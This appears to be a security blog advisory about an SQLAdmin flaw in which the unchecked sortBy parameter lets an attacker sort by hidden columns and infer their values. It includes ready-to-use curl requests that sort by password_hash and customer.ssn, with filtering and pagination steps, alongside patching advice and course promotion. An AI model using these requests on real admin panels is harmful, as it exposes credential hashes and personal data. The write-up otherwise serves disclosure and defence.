Listen to this Post
SQLAdmin is a popular administrative interface for SQLAlchemy-based applications, providing developers with a convenient way to manage database models through a web-based UI. The `ModelView` class is the core component responsible for rendering list views of database records, complete with features like sorting, filtering, and pagination. To control which columns can be sorted, SQLAdmin provides a configuration option called column_sortable_list—an allow-list that developers can set to restrict sorting to specific, safe columns.
The vulnerability arises because `ModelView.sort_query()` does not enforce this allow-list on the server side. The `sortBy` query parameter, which is fully controlled by the attacker, is taken directly from the HTTP request and passed into `getattr(model, …)` without any validation against column_sortable_list. This value is then fed into SQLAlchemy’s relationship joins and `order_by()` clause.
The core issue is that `column_sortable_list` is only consulted in the list template to decide which column headers should display clickable sort links in the UI. The server never enforces it, so removing a column from the UI does not prevent sorting by it. This means an attacker can sort by any column of the model—including columns that are explicitly hidden from column_list—and, via a dotted path (e.g., related_model.column), by columns of related models as well.
Because the row order returned by the query directly reflects the values of the column being sorted, this becomes an information-exposure ordering oracle. Even if a sensitive column (such as a password hash, API key, or internal status flag) is never displayed in the UI, an attacker can still infer its relative values by observing how rows are ordered when sorting by that hidden column. Pairing `sortBy` with searchable or filterable columns and pagination can further narrow down the oracle to recover specific values, making this a practical information disclosure vector.
The vulnerability affects SQLAdmin versions prior to 0.27.1 and was patched in version 0.27.1.
DailyCVE Form:
Platform: sqladmin (pip)
Version: < 0.27.1
Vulnerability: Input Validation
Severity: Moderate (5.3 CVSS)
Date: 2026-08-31
Prediction: 2026-09-15
What Undercode Say:
Check installed version of sqladmin pip show sqladmin | grep Version List all models and their columns (reconnaissance) Identify models with sensitive columns hidden from column_list Example: User model may have 'password_hash', 'api_key', 'is_admin' etc. Craft a request to sort by a hidden column curl -X GET "https://target.example.com/admin/user/list?sortBy=password_hash" \ -H "Cookie: session=your_session_cookie" Reverse the sort order to confirm the oracle curl -X GET "https://target.example.com/admin/user/list?sortBy=password_hash&sortDesc=true" \ -H "Cookie: session=your_session_cookie" Sort by a column in a related model (dotted path) curl -X GET "https://target.example.com/admin/order/list?sortBy=customer.ssn" \ -H "Cookie: session=your_session_cookie" Combine with pagination to narrow down values curl -X GET "https://target.example.com/admin/user/list?sortBy=password_hash&page=1&pageSize=10" \ -H "Cookie: session=your_session_cookie" Use filterable columns to isolate specific records curl -X GET "https://target.example.com/admin/user/list?sortBy=password_hash&flt0_username=admin" \ -H "Cookie: session=your_session_cookie"
Exploit: (Educational Purposes!)
The exploitation process is straightforward:
- Identify a vulnerable endpoint — Any `ModelView` list endpoint that uses `sort_query()` is affected, regardless of whether `column_sortable_list` is configured.
- Craft a request with the `sortBy` parameter set to a sensitive column name that is not in `column_sortable_list` or
column_list. For example, if a `User` model has a `password_hash` column that is hidden from the UI, an attacker can send:GET /admin/user/list?sortBy=password_hash
- Observe the row order — The records will be returned sorted by the `password_hash` column. Even though the hash values themselves are not displayed, the order reveals information about their relative values (e.g., lexicographic ordering of hashes).
- Reverse the sort by adding `sortDesc=true` to confirm the ordering is indeed based on the hidden column’s values.
- Narrow down values by combining `sortBy` with searchable or filterable columns and pagination. For instance, filtering by a known username and sorting by a hidden column can reveal the relative ranking of that user’s sensitive value compared to others.
This attack requires no special privileges beyond access to the list endpoint. If the endpoint is publicly accessible, the vulnerability can be exploited by unauthenticated attackers as well.
Protection:
- Upgrade to SQLAdmin version 0.27.1 or later, which patches the vulnerability by enforcing `column_sortable_list` on the server side.
- If an immediate upgrade is not possible, manually validate the `sortBy` parameter in your `ModelView` subclasses before it reaches
sort_query(). - Review all `ModelView` configurations to ensure that no sensitive columns are inadvertently exposed through sorting, even if they are hidden from
column_list. - Implement additional access controls at the web server or application level to restrict access to administrative endpoints.
- Monitor logs for unusual `sortBy` parameters that reference columns not present in
column_sortable_list.
Impact:
- Information Disclosure — An attacker can infer the relative ordering of sensitive data, including password hashes, API keys, internal flags, or personally identifiable information (PII), without ever seeing the raw values.
- Privacy Violation — In applications handling user data, this can lead to privacy breaches by exposing the ranking or relative values of protected attributes.
- Chainable Attack Vector — When combined with searchable/filterable columns and pagination, the oracle can be refined to recover specific values, increasing the severity of the information leak.
- CVSS Score 5.3 (Medium) — The vulnerability is network-reachable, requires no privileges, and no user interaction, making it relatively easy to exploit in many deployment scenarios.
🎯Let’s Practice Exploiting & Learn Patching For Free:
🎓 Live Courses & Certifications:
Join Undercode Academy for Verified Certifications
🚀 Request a Custom Project:
Secure, high-velocity infrastructure and disruptive technological engineering. Contact our engineering team for high-tier development and proprietary systems:
[email protected]
💎 Smart Architecture | 🛡️ Secure by Design | ⭐ Trusted by Thousands
Sources:
Reported By: github.com
Extra Source Hub:
Undercode
